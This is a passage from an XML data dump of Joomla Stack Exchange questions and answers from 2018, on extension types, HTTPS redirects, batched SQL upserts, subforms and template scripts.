  <row Id="23450" PostTypeId="2" ParentId="23448" CreationDate="2018-09-12T14:12:20.583" Score="1" Body="&lt;p&gt;I knew a joomla doc page on it, but i can't find it now. Here is what i remember from that page.&#xA;Assume joomla as an OS like windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Module is the most limited one functionally cause you have to assign it to somewhere on the Components view, so it's like widgets of the OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin is like the background services of this OS, which are running on every request, they can change views but better not and mostly just uses enquemessage system to show stuff to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Components are like Apps and they could handle many routes and generate content part for the pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use plugin for all the needs but its against generalization and maintainability meaning you can't easily see what's come from where anymore and easily get confused in middle of the project.&lt;/p&gt;&#xA;" OwnerUserId="12750" LastActivityDate="2018-09-12T14:12:20.583" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23451" PostTypeId="1" AcceptedAnswerId="23453" CreationDate="2018-09-12T14:51:14.103" Score="0" ViewCount="815" Body="&lt;p&gt;I added ssl-certificate on my Joomla web-site. My actions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add certificate data to hosting &lt;/li&gt;&#xA;&lt;li&gt;In configuration check SSL for entire&#xA;site &lt;/li&gt;&#xA;&lt;li&gt;In configuration.php rewrite live_site as &lt;a href=&quot;https://mysite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysite.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And it's all good, web-site work with https, but I need to redirect site from http to https when user enter. &#xA;For this I add to .htaccess next rule&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTPS} !=on&#xA;RewriteRule ^ https://%1%{REQUEST_URI} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after this I have an redirect loop error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried different variants of rewrite rules in htaccess, but nothing help. Need an advice please.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.7.4&#xA;PHP 5.6.30&#xA;Server - Linux, Apache 2.0&lt;/p&gt;&#xA;" OwnerUserId="8039" LastActivityDate="2018-09-12T17:05:29.830" Title="Redirect loop when https" Tags="|joomla-3.x|redirect|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23452" PostTypeId="2" ParentId="23448" CreationDate="2018-09-12T16:06:50.397" Score="2" Body="&lt;p&gt;The component is used to create content for a page. The linking within Joomla is between components and only links to component views can be added to the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules are used to place additional content on pages of a web site, along the main content created by the component. Ususally this is done by side, top or bottom bars, while the main content is in the center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins are used to interfere with the calling stack of the Joomla framework at different points, not necessarily producing any output at all. A plugin is called on specific events, happening within the processing of a request.&lt;br&gt;&#xA;An example would be if you have a component storing user specific data. If you want this data to be deleted once the user gets deleted through the user admin in the backend, you write a plugin responding to user deletions. See &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt; for a list of events present in the standard Joomla implementation.&lt;/p&gt;&#xA;" OwnerUserId="12705" LastEditorUserId="12705" LastEditDate="2018-09-12T18:03:57.943" LastActivityDate="2018-09-12T18:03:57.943" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23453" PostTypeId="2" ParentId="23451" CreationDate="2018-09-12T17:05:29.830" Score="1" Body="&lt;p&gt;You don't need to do anything else after &lt;strong&gt;Forcing HTTPS on the Entire Site&lt;/strong&gt; through Joomla's Global Configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .htaccess redirection is redundant, as Joomla will treat the whole site's redirection to HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;***Update your Joomla to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-09-12T17:05:29.830" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23454" PostTypeId="1" AcceptedAnswerId="23513" CreationDate="2018-09-12T23:42:07.550" Score="1" ViewCount="214" Body="&lt;p&gt;&lt;strong&gt;How do I set the flag &lt;code&gt;CLIENT_MULTI_STATEMENTS&lt;/code&gt; for calling multiple stored procedures in a single stored procedure?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 30 stored procedures I would like to execute with a button click to process user data. It seems that creating a single procedure to execute the 30 others would be easiest but this triggers a syntax error.&lt;br&gt;&#xA;Executing one stored procedure in a stored procedure works just fine, adding even one more creates an error.&lt;br&gt;&#xA;My research has indicated by setting the &lt;code&gt;CLIENT_MULTI_STATEMENTS&lt;/code&gt; flag I can execute multiple procedures but there is little documentation on how to do this within a CMS like Joomla.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working with Joomla 3 / mysql 5.7 / mariadb.&lt;br&gt;&#xA;&lt;strong&gt;Do I have to modify core code? Or is there a way to set the flag externally?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The procedures are called in order as seen below, the first procedure always executes without issue.  I have checked the mariadb documentation and mysql and tried every iteration of the proper syntax I could think of, which is why I think it is a flag issue.&lt;br&gt;&#xA;By default, mysql will not allow execution of multiple statements in this version, as I understand it.  Which is why I would like to figure out how to set the flags as referenced in the documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL joomla3.Answers_to_Translated_RTN1();&#xA;CALL joomla3.Answers_to_Translated_RTN2();&#xA;CALL joomla3.UC_to_Results_RTN3();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MySQL said: #1064 - You have an error in your SQL syntax; check the&#xA;  manual that corresponds to your MariaDB server version for the right&#xA;  syntax to use near 'CALL joomla3.Answers_to_Translated_RTN2(); CALL&#xA;  joomla3.UC_to_Results_RTN3(); ' at line 2&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12882" LastEditorUserId="126" LastEditDate="2018-09-26T18:42:26.157" LastActivityDate="2018-09-26T18:42:26.157" Title="How do I set the flag CLIENT_MULTI_STATEMENTS for calling multiple stored procedures in a single stored procedure?" Tags="|joomla-3.x|mysql|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23455" PostTypeId="1" CreationDate="2018-09-13T01:30:10.733" Score="1" ViewCount="29" Body="&lt;p&gt;I have a login page and I need to perform some styles for users choice.&#xA;Then, when user select some preset style, the website changes the style.&#xA;I need to do it recording as some user params or in another component or table.&lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2018-09-13T12:51:56.153" Title="I need to record some datas in user params when submit login" Tags="|user|component-params|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23457" PostTypeId="2" ParentId="23455" CreationDate="2018-09-13T12:51:56.153" Score="2" Body="&lt;p&gt;Here's what you can do to accomplish what you want:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Override the login page to include the additional fields (such as the styles, etc...)&lt;/li&gt;&#xA;&lt;li&gt;Create a different login plugin (just copy the authentication/joomla plugin) and use that plugin instead of the default one. In the &lt;code&gt;onUserAuthenticate&lt;/code&gt; function of that plugin, just add the code to store the additional fields in the database when the authentication is successful. You can also store this information in the session in order to prevent querying the database for the custom user settings on each page load.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-13T12:51:56.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23458" PostTypeId="1" AcceptedAnswerId="23499" CreationDate="2018-09-14T09:01:23.113" Score="1" ViewCount="117" Body="&lt;p&gt;I'm trying to import Joomla in a Yii application. It goes well, but some plugins and libraries are not loaded. Does anyone know how to achieve this? Something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::loadAllActivePlugins();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my code so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    define('_JEXEC', 1); &#xA;&#xA;    $joomlaRootFolder = \Yii::$app-&amp;gt;params['joomlaRootFolder'];&#xA;&#xA;    if (file_exists($joomlaRootFolder . '/defines.php')) {&#xA;        include_once $joomlaRootFolder . '/defines.php';&#xA;    }   &#xA;&#xA;    if (!defined('_JDEFINES')) {&#xA;        define('JPATH_BASE', $joomlaRootFolder);&#xA;        require_once JPATH_BASE . '/includes/defines.php';&#xA;    }   &#xA;&#xA;    require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;    // Instantiate the application.&#xA;    $app = \JFactory::getApplication('site');&#xA;    $app-&amp;gt;initialise();&#xA;&#xA;    // Breaks here!&#xA;    \MyGlobalLibrary::didNotFindClass();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The library works as expected in our Joomla code, so that's not the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: My solution was to manually call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    \JPluginHelper::importPlugin('system');&#xA;    \JEventDispatcher::getInstance()-&amp;gt;trigger('onAfterInitialise');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like this was not done in the &lt;code&gt;$app-&amp;gt;initialise()&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="7077" LastEditorUserId="7077" LastEditDate="2018-09-14T09:47:33.823" LastActivityDate="2018-09-21T07:41:07.157" Title="How does Joomla initialise all active libraries and plugins?" Tags="|plugin|libraries|cli|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23460" PostTypeId="1" CreationDate="2018-09-15T16:03:16.357" Score="1" ViewCount="225" Body="&lt;p&gt;I don't know how to enable editing the created date of an article in the front-end, after updating to Joomla 3.8.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I used to override the article's edit form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;com_content -&gt; form &gt; edit  #line 120 :&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('created'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as suggested in this article:&#xA;&lt;strong&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21703/how-to-edit-created-date-from-front-end&quot;&gt;How to edit &amp;#39;created date&amp;#39; from front end&lt;/a&gt;&lt;/strong&gt;, and all was fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this no longer works with version 3.8.10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="12711" LastEditorUserId="126" LastEditDate="2018-09-15T18:28:19.313" LastActivityDate="2019-06-27T08:57:32.327" Title="How can I enable the created date for an article to be edited in the front end?" Tags="|joomla-3.x|form-fields-types|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23461" PostTypeId="1" AcceptedAnswerId="24086" CreationDate="2018-09-15T18:33:49.543" Score="2" ViewCount="131" Body="&lt;p&gt;As I understand, to use Joomla! plugin events from my user code, I first need to load the plugin class (which registers the named functions as events in the event dispatcher):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('captcha');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can trigger events from my user code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = JDispatcher::getInstance();&#xA;trigger('onInit');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does the plugin system handle name collisions between events? For example, the &lt;code&gt;captcha&lt;/code&gt; plugins have an &lt;code&gt;onDisplay&lt;/code&gt; function/event, as do the &lt;code&gt;editor&lt;/code&gt; plugins. What happens when I call the following after the previous code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JPluginHelper::importPlugin('editor');&#xA;trigger('onDisplay');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe this will trigger the &lt;code&gt;onDisplay&lt;/code&gt; event on both the group of &lt;code&gt;captcha&lt;/code&gt; plugins, and the group of &lt;code&gt;editor&lt;/code&gt; plugins. It seems like the &lt;code&gt;trigger&lt;/code&gt; method of &lt;code&gt;JEventDispatcher&lt;/code&gt; would need a parameter for at least the group of plugins to act on.  Do I get all plugins with an &lt;code&gt;onDisplay&lt;/code&gt; function firing, and I have to sort out what is garbage? What if a non-relevant plugin running with garbage input has an exception on that input?&lt;/p&gt;&#xA;" OwnerUserId="12558" LastActivityDate="2019-01-16T11:53:05.633" Title="How does Joomla! event system (plugins) avoid namespace conflicts?" Tags="|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23462" PostTypeId="1" AcceptedAnswerId="23463" CreationDate="2018-09-15T19:48:35.697" Score="2" ViewCount="407" Body="&lt;p&gt;I am setting up a site to use the Joomla Smary Search component (com_finder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component is working well, but I have a question about the advanced search options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the advanced search options are enabled in the component, it shows a set of drop-down fields under the main search field, which allows the user to filter their search by Author, Category, Language and Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my site, we don't need all of those options -- we don't need the Author option because the author isn't shown on articles and isn't relevant to the end user. We also don't need language, as the site is not multi-lingual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I can't find how to turn these fields off without switching off the whole advanced search block. I would like to keep the other options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please tell me how to do this? I'm considering hacking around in the template, but that seems a bit drastic.&lt;/p&gt;&#xA;" OwnerUserId="12855" LastActivityDate="2021-01-14T12:54:04.757" Title="Advanced search: Hide some of the options" Tags="|joomla-3.x|search|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23463" PostTypeId="2" ParentId="23462" CreationDate="2018-09-15T19:56:46.313" Score="5" Body="&lt;p&gt;Ah, I found it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the benefit of anyone else who can't see how to do this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was looking for it in the options when configuring the menu item, and in the component options in global config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, you need to look in the component itself. Go to &quot;Components&quot; / &quot;Smart Search&quot;, and then pick the &quot;Content Maps&quot; section. You'll see that your content has been indexed against Author, Category, Language and Type. Simply un-tick the ones you don't want and they will stop showing up as drop-down options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easy when you know how  :-)&lt;/p&gt;&#xA;" OwnerUserId="12855" LastActivityDate="2018-09-15T19:56:46.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23465" PostTypeId="1" AcceptedAnswerId="23467" CreationDate="2018-09-16T12:57:51.017" Score="4" ViewCount="1491" Body="&lt;p&gt;With latest joomla version I try to achieve one query to the database and updating multiple rows at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make a query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `tablename`&#xA;(`id`,`date`) VALUES &#xA;('79','2018-12-01'),('78','2018-10-01'),('76','2018-06-01'),('80','2019-01-01')&#xA;ON DUPLICATE KEY UPDATE&#xA;(`date` = '2018-12-01'),(`date` = '2018-10-01'),(`date` = '2018-06-01'),(`date` = '2019-01-01')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I setup this and debug:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;        -&amp;gt;insert($db-&amp;gt;quoteName('#__tablename'))&#xA;        -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;        -&amp;gt;values($values);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this only produces the first 3 row of my wanted query. How can I extend to add the text &quot;ON DUPLICATE KEY UPDATE&quot; and another array values to the end? Or there is another way of doing this? Its possible to add multiple query to setQuery, or concatenate queries?&lt;/p&gt;&#xA;" OwnerUserId="11159" LastActivityDate="2018-09-19T07:15:44.200" Title="with insert on duplicate key update - updating multiple rows at once" Tags="|joomla-3.x|mysql|custom-component|database|jdatabase|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23466" PostTypeId="1" CreationDate="2018-09-16T18:25:08.973" Score="0" ViewCount="73" Body="&lt;p&gt;I wish to add a formsource to a subform in my custom maded module.&#xA;The example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field type=&quot;subform&quot; formsource= &quot;templates/DEFAULT_TEMPLATE/MY_MODULE/SUBFORM_NAME.xml&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9118" LastEditorUserId="126" LastEditDate="2018-09-16T22:15:52.653" LastActivityDate="2018-09-17T06:08:20.903" Title="How to retrieve the default site template in my xml module?" Tags="|form-fields-types|custom-module|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23467" PostTypeId="2" ParentId="23465" CreationDate="2018-09-16T20:54:03.237" Score="6" Body="&lt;p&gt;Building a &lt;code&gt;REPLACE INTO&lt;/code&gt; query is just as simple as building an &lt;code&gt;INSERT ... ON DUPLICATE KEY UPDATE&lt;/code&gt;.  Note that &lt;a href=&quot;https://stackoverflow.com/q/9168928/2943403&quot;&gt;there is a difference between &lt;code&gt;REPLACE INTO&lt;/code&gt; AND &lt;code&gt;ON DUPLICATE KEY UPDATE&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$columns = ['id', 'date'];&#xA;$data = [&#xA;    [79, '2018-12-01'],&#xA;    [78, '2018-10-01'],&#xA;    [76, '2018-06-01'],&#xA;    [80, '2019-01-01']&#xA;];&#xA;&#xA;$db = JFactory::getDbo();&#xA;try {&#xA;    foreach ($data as &amp;amp;$row) {&#xA;        $row = (int)$row[0] . &quot;, &quot; . $db-&amp;gt;q($row[1]); // flatten 2-dim array and apply security techniques&#xA;    }&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;insert($db-&amp;gt;qn('#__tablename'))&#xA;                -&amp;gt;columns($db-&amp;gt;qn($columns))&#xA;                -&amp;gt;values($data);&#xA;    $db-&amp;gt;setQuery(substr_replace($query, 'REPLACE', 0, 8));    // swap INSERT for REPLACE&#xA;    // in other words: $db-&amp;gt;setQuery(str_replace(&quot;\r\nINSERT&quot;, &quot;REPLACE&quot;, $query));&#xA;    // or:             $db-&amp;gt;setQuery(preg_replace(&quot;~^\s+INSERT~&quot;, &quot;REPLACE&quot;, $query));&#xA;    // Joomla puts \r\n at the start of the query; see via var_dump($db) after setQuery()&#xA;    /*&#xA;    echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;        print_r($db);   // see the updated sql object&#xA;    echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;    */&#xA;    $db-&amp;gt;execute();&#xA;} catch (Exception $e) {&#xA;    echo  &quot;Syntax Error: &quot; , $e-&amp;gt;getMessage();  // never show php's error message to the public&#xA;}&#xA;echo &quot;&amp;lt;div&amp;gt;&quot; , $db-&amp;gt;getAffectedRows() , &quot; row(s) inserted&amp;lt;/div&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the query built:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REPLACE INTO `#__tablename`&#xA;(`id`,`date`) VALUES &#xA;(79, '2018-12-01'),(78, '2018-10-01'),(76, '2018-06-01'),(80, '2019-01-01')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will &lt;strong&gt;ALWAYS&lt;/strong&gt; print the same number of affected rows for your batch of four entries:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4 row(s) inserted&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for &lt;code&gt;ON DUPLICATE KEY UPDATE...&lt;/code&gt;, this is as simple as appending the clause to the end of the Joomla-generated query and including &lt;a href=&quot;https://stackoverflow.com/q/48613384/2943403&quot;&gt;&lt;code&gt;VALUES()&lt;/code&gt; syntax&lt;/a&gt;. (only &lt;strong&gt;replace&lt;/strong&gt; the &lt;code&gt;$db-&amp;gt;setQuery()&lt;/code&gt; line from the above snippet)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;setQuery($query . &quot; ON DUPLICATE KEY UPDATE `date` = VALUES(`date`)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to create this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__tablename`&#xA;(`id`,`date`) VALUES &#xA;(79, '2018-12-01'),(78, '2018-10-01'),(76, '2018-06-01'),(80, '2019-01-01')&#xA;ON DUPLICATE KEY UPDATE `date` = VALUES(`date`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This type of query behaves differently and gives different feedback in terms of affected rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When identical rows exist in the database table for all of the rows that you intend to add, you will see &lt;code&gt;0&lt;/code&gt; affected rows.  If the PRIMARY ID already exists -- let's say 1 row has a different &lt;code&gt;date&lt;/code&gt; value than what is in the query -- you will see &lt;code&gt;2&lt;/code&gt; affected rows (I have run this on my own localhost and despite other things I've read, this must be removing, then adding).  So this kind of information can be either very helpful or very confusing depending on what you are trying to determine.  Imagine if you have all four &lt;code&gt;id&lt;/code&gt;s represented in your table already and two of the four rows need the &lt;code&gt;date&lt;/code&gt; value to be updated.  After the query executes, you will be notified that &lt;code&gt;4&lt;/code&gt; rows have been affected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is &lt;a href=&quot;https://stackoverflow.com/a/29787059/2943403&quot;&gt;a relevant answer that I posted a few years ago on StackOverflow&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-09-19T07:15:44.200" LastActivityDate="2018-09-19T07:15:44.200" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23468" PostTypeId="1" AcceptedAnswerId="23474" CreationDate="2018-09-17T00:10:34.183" Score="0" ViewCount="109" Body="&lt;p&gt;I'm trying to enter lessons with images on my website, but the images are too tiny on mobile devices.  Is there any way to make it so they can be enlarged by clicking on them rather than trying to expand the screen?&lt;/p&gt;&#xA;" OwnerUserId="12751" LastActivityDate="2018-09-17T20:53:34.003" Title="How do I make article images that can be enlarged on mobile devices?" Tags="|joomla-3.x|articles|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23469" PostTypeId="2" ParentId="23466" CreationDate="2018-09-17T06:08:20.903" Score="1" Body="&lt;p&gt;Create a field type based on subform. Change &lt;code&gt;formsource&lt;/code&gt; handling in &lt;code&gt;__set&lt;/code&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;JFormHelper::loadFieldClass('subform');&#xA;&#xA;class JFormFieldMysubform extends JFormFieldSubform&#xA;{&#xA;    protected $type = 'Mysubform';&#xA;&#xA;    public function __set($name, $value)&#xA;    {&#xA;        switch ($name)&#xA;        {&#xA;            case 'formsource':&#xA;                $this-&amp;gt;formsource = JPATH_SITE . '/templates/' . $this-&amp;gt;getDefaultTemplate() . '/html/mod_mymodule/mysubform.xml';&#xA;                break;&#xA;            default:&#xA;                parent::__set($name, $value);&#xA;        }&#xA;    }&#xA;&#xA;    private function getDefaultTemplate()&#xA;    {&#xA;        // Avoid duplicate queries&#xA;        static $template;&#xA;&#xA;        if ($template === null)&#xA;        {&#xA;            $db = JFactory::getDbo();&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select($db-&amp;gt;quoteName('template'))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__template_styles'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('client_id') . ' = 0')&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('home') . ' = 1');&#xA;            $template = $db-&amp;gt;setQuery($query)-&amp;gt;loadResult();&#xA;        }&#xA;&#xA;        return $template;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above is just a basic example. You need to add checks to ensure that the form exists. Otherwise you'll get an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Form\Form::getInstance() could not load file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-09-17T06:08:20.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23471" PostTypeId="2" ParentId="23468" CreationDate="2018-09-17T18:56:37.877" Score="1" Body="&lt;p&gt;If the images are tiny on mobile, then an alternative (and possibly) better solution is to use CSS media queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can have the following CSS rule that gets triggered when the width of the screen is 360px and up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen and (min-width: 360px) {&#xA;    .image-class{width: 300px; height: auto;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then add additional rules for upper resolutions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media screen and (min-width: 768px) {&#xA;    .image-class{width: 600px; height: auto;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I am assuming that your images have a width of at least 600px.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-17T18:56:37.877" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23472" PostTypeId="2" ParentId="23399" CreationDate="2018-09-17T19:08:39.807" Score="1" Body="&lt;p&gt;Assuming I understood your question correctly, then you can have the full domain followed by the anchor. E.g. &lt;code&gt;https://www.your website.com/#contacts&lt;/code&gt; and  &lt;code&gt;https://www.your website.com/#about-us&lt;/code&gt;. This would ensure that the page doesn't have to be reloaded if someone clicks on any of the above links.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2018-09-17T19:08:39.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23473" PostTypeId="1" CreationDate="2018-09-17T20:43:58.360" Score="4" ViewCount="1115" Body="&lt;p&gt;Just wondering how following happens, maybe someone knows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like known I remove unwanted Joomla scripts in common ways like using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_script = $this-&amp;gt;_scripts = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in single ways: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unset($this-&amp;gt;_scripts[JURI::root(true).'/media/system/js/mootools-core.js']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I have a Joomla site were this has no effect nevertheless scripts were loaded.&#xA;Also to get scripts via a second way has no success:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument(); &#xA;$headData = $document-&amp;gt;getHeadData();&#xA;$scripts = $headData['scripts']; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when I check scripts just before load  in both cases scripts are empty and than of course cannot unset but they are loaded with the HeadRenderer of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can solve this with copy, edit and loading my own file based on:&#xA;\libraries\src\Document\Renderer\Html\HeadRenderer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm really interested what happens here, it doesn't matter if I load a custom template or use a Joomla (Protostar) one by only changing to unset scripts. Same problem scripts are empty via $this or getDocument(); but loaded in to the head html via &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somehow the scripts are not loaded during Template Rendering but with the HeadRendering? Tried with disable any third party modules and plugins but no change ...&#xA;Big question mark for me? Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="12892" 